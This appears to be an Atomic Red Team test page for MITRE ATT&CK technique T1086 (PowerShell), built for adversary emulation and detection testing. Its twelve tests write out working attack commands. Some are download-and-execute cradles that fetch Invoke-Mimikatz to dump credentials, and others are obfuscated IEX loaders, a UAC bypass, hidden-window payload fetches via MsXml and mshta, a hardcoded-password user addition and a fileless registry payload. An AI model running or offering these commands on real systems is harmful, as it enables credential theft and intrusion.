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T1086 - PowerShell

Description from ATT&CK

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

Atomic Tests


Atomic Test #1 - Mimikatz

Download Mimikatz and dump credentials

Supported Platforms: Windows

Inputs

Name Description Type Default Value
mimurl Mimikatz url url https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

Run it with command_prompt!

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"


Atomic Test #2 - BloodHound

Download Bloodhound and run it

Supported Platforms: Windows

Inputs

Name Description Type Default Value
bloodurl BloodHound URL url https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1

Run it with command_prompt!

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{bloodurl}'); Invoke-BloodHound"


Atomic Test #3 - Obfuscation Tests

Different obfuscated methods to test Reaches out to bit.ly/L3g1t to stdout: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"

Supported Platforms: Windows

Run it with powershell!

(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()
Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))


Atomic Test #4 - Mimikatz - Cradlecraft PsSendKeys

Run mimikatz via PsSendKeys

Supported Platforms: Windows

Run it with powershell!

$url='https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr


Atomic Test #5 - Invoke-AppPathBypass

Note: Windows 10 only

Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

Supported Platforms: Windows

Run it with command_prompt!

Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass"
C:\Windows\System32\cmd.exe


Atomic Test #6 - PowerShell Add User

Using PS 5.1, add a user via CLI

Supported Platforms: Windows

Inputs

Name Description Type Default Value
user_name username to add string atomic_user
full_name Full name of user string Atomic Red Team
password password to use string ATOM1CR3DT3@M
description Brief description of account string Atomic Things

Run it with powershell!

New-LocalUser -FullName '#{full_name}' -Name '#{user_name}' -Password #{password} -Description '#{description}'


Atomic Test #7 - Powershell MsXml COM object - no prompt

Provided by https://github.com/mgreen27/mgreen27.github.io Powershell MsXml COM object. Not proxy aware removing cache although does not appear to write to those locations

Supported Platforms: Windows

Inputs

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1

Run it with command_prompt!

powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"


Atomic Test #8 - Powershell MsXml COM object - with prompt

Provided by https://github.com/mgreen27/mgreen27.github.io Powershell MsXml COM object. Not proxy aware removing cache although does not appear to write to those locations

Supported Platforms: Windows

Inputs

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1

Run it with command_prompt!

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"


Atomic Test #9 - Powershell XML requests

Provided by https://github.com/mgreen27/mgreen27.github.io Powershell xml download request

Supported Platforms: Windows

Inputs

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xml

Run it with command_prompt!

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"


Atomic Test #10 - Powershell invoke mshta.exe download

Provided by https://github.com/mgreen27/mgreen27.github.io Powershell invoke mshta to download payload

Supported Platforms: Windows

Inputs

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/mshta.sct

Run it with powershell!

"C:\Windows\system32\cmd.exe" /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"


Atomic Test #11 - Powershell Invoke-DownloadCradle

Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.

Supported Platforms: Windows

Run it with these steps!

  1. Open Powershell_ise as a Privileged Account
  2. Invoke-DownloadCradle.ps1


Atomic Test #12 - PowerShell Fileless Script Execution

Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections.

Supported Platforms: Windows

Run it with command_prompt!

reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggJyVTeXN0ZW1Sb290JS9UZW1wL2FydC1tYXJrZXIudHh0JyAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="
powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))